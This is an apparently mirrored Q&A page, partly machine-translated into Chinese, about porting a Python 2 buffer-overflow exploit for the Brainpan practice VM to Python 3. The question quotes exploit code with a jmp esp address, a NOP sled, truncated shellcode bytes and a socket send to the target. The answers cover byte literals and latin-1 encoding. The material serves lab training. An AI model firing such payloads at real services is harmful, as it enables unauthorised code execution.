簡體   English   中英

使用 python 3 作為緩沖區溢出而不是 Python 2

[英]Using python 3 as a buffer overflow instead of Python 2

我正在嘗試使用 python3 而不是 Python 2 將緩沖區溢出推送到 Brainpan。 問題是python3以不同的方式轉換字節。 有誰知道如何以python3格式以簡單的方式推送字節?

可以在以下位置找到 python2 代碼的示例代碼: http : //blog.pentests.pl/2014/06/pentest-lab-brainpan-probably-the-fastest.html?m=1

取自頁面:

import sys,socket

eip = "\xf3\x12\x17\x31" #jmp esp address 0x311712f3
buf = "\x90"*10 #nop sled
buf += "\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"
buf... {Code snipped}

payload = ("a"*524) + eip + buf

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect('192.168.0.xxx', 9999)

print s.recv(1024)
s.send(payload)
print s.recv(1024)

我試過s.send(payload.encode())各種編碼。 據我所知,沒有任何效果。

嘗試使用字節文字,例如

eip = b"\xf3\x12\x17\x31"
buf = b"\x90"*10
buf += b"\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"

並完全繞過編碼的需要。

我有同樣的錯誤,但另外發現\\x7F之后的任何字符在壞字符測試后\\x7F被破壞了; Python 3 似乎在每個字符之前插入隨機\\xC2\\xC3 有效的是在整個過程中使用字節文字或.encode('latin-1') 有反饋認為 latin-1 編碼並不總是有效,請參見此處,但我沒有遇到字節文字問題。

編輯:您可能會發現這些也很有用。 兩者都對 Python 3 使用 Latin-1 編碼。 http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Buffer_Overflow/Buffer_Overflow.pdf https://blog.lab26.net/vulnerable- vm-walkthrough-brainpan-1-binary-exploitation/

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM